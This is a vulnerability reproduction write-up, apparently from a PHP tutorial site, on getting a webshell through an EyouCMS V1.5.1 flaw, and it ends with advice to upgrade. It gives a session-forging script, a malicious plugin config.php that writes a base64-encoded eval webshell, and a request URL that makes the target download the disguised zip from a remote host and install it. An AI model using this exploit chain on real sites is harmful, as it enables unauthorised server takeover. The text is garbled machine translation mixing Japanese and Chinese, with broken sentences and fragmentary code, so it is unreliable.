Zanzan Network Technology EyouCMS (EyouCMS) は、中国 Zanzan Network Technology Company System ( CMS)。
Eyoucms v1.5.1 およびそれ以前のバージョンには、任意のユーザー バックグラウンド ログインとファイル インクルードの脆弱性があります。この脆弱性により、攻撃者は API を呼び出して管理者のセッションをフォアグラウンドに設定し、バックグラウンドでリモート プラグイン ダウンロード ファイルをダウンロードすることができます。 getshell が含まれています。
EyouCMS
公式 Web サイト ダウンロード バージョン V1.5.1
ダウンロード リンク: https://qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip
phpstudy 統合環境による簡単な導入
##get_token
関数はフロント デスクが自由に呼び出すことができ、#仮パラメータの
##$name
このセッション設定操作を通じて、バックグラウンド管理者のセッションの構築を試みることができます。次に、バックグラウンド管理者のログイン ロジックを整理します。 application/admin/controller/Base.php:54
if (session('?admin_id') && getTime() - intval($admin_login_expire) < $web_login_expiretime)
# の 2 つのセッションが関係しています。 ## (このセッションは減算検証を実行し、特定の条件を満たす必要があります)
admin_id
(このセッションは存在するだけでよく、その値は)
これら 2 つのセッションを設定した後も、if 条件の判定にcheck_priv
関数があることがわかります。
<div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">if (0 >= intval(session('admin_info.role_id')))</pre><div class="contentsignin">ログイン後にコピー</div></div>admin_info.role_id<p><br><img src="https://img.php.cn/upload/article/000/000/164/168458488398297.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现">(0 以下であれば十分です)</p>After 3 つのセッションをセットアップすると、バックグラウンドに入ることができます。図に示すように: <p><code>
. 次に、ホストが eyoucms.com である必要がある URL 解析を実行します。 つまり、プログラムは公式 Web サイトからのプラグインのダウンロードとインストールに制限されていますが、この検証は単純すぎるためバイパスできる可能性があります。
後から行うプラグイン標準の判定は機能しなくなります。
0x04 脆弱性の悪用
フロント デスクで管理者セッションを設定する
まず、ログインに成功した後の管理者セッションと、ログインに成功した一般ユーザー セッションを削除します。ログインしていません 比較用一般ユーザー:
get_token 関数を呼び出して、admin_login_expire という名前のセッションを設定します
通常ユーザーのセッションが正常にセットアップされていることを確認してください。
しかし、この md5 文字列は明らかに脆弱性分析の要件を満たしていないため、適切な md5 値が見つかるまでセッションはスクリプトによって常に更新されます
while 1 : admin_login_expire = api_psot("admin_login_expire") num_10 = admin_login_expire[2:12] if is_number(num_10): print("admin_login_expire=",num_10) break while 1 : role_id = api_psot("admin_info.role_id") num_1 = role_id[2:3] if num_1 in ["a","b","c","d","e","f"]: print("role_id=",num_1) break admin_id = api_psot("admin_id") print("admin_id=",admin_id[2:-1])
実行結果:
session:
再经过application/admin/controller/Base.php:58和:106的intval()的转换:
成功使用该PHPSESSID进入后台:
后台远程插件下载文件包含getshell
然后开始制作恶意压缩包,文件目录结构如下:
weappp\weapp\test\config.php
config.php
文件内容为写入webshell
<?php file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4=")); ?>
压缩成weappp.zip,修改后缀为jpg
到eyoucms.com官网寻找图片上传点
比如这个提问模块的问题描述:
https://www.eyoucms.com/ask/
获取到上传的图片地址:
https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
直接在浏览器中请求下载该插件:
http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
此时webshell已成功写入:
访问webshell:
升级EyouCMS至V1.5.2或以后版本。
以上がEyouCMS V1.5.1 フロントエンド getshell 脆弱性を再現する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。